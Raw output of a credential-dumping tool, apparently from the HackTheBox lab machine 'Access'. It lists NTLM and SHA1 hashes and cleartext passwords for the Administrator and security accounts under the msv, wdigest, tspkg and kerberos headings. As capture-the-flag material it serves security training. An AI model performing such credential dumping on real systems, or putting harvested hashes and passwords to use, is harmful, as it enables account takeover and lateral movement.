msv credentials
===============

Username       Domain  NTLM                              SHA1
--------       ------  ----                              ----
Administrator  ACCESS  db852e5a46ea5f5514f639a20daa9e2c  974b219dcf5c05c895c152bbbc1aea6aef
                                                         fbe860
security       ACCESS  b41db16a61cb04b231625de260163015  75f1e3aa023a0f57d4225f3ab4f18f6fea
                                                         025414

wdigest credentials
===================

Username       Domain  Password
--------       ------  --------
(null)         (null)  (null)
ACCESS$        HTB     (null)
Administrator  ACCESS  55Acc3ssS3cur1ty@megacorp
security       ACCESS  4Cc3ssC0ntr0ller

tspkg credentials
=================

Username       Domain  Password
--------       ------  --------
Administrator  ACCESS  55Acc3ssS3cur1ty@megacorp
security       ACCESS  4Cc3ssC0ntr0ller

kerberos credentials
====================

Username       Domain  Password
--------       ------  --------
(null)         (null)  (null)
Administrator  ACCESS  55Acc3ssS3cur1ty@megacorp
access$        HTB     (null)
security       ACCESS  4Cc3ssC0ntr0ller

Last updated 10 days ago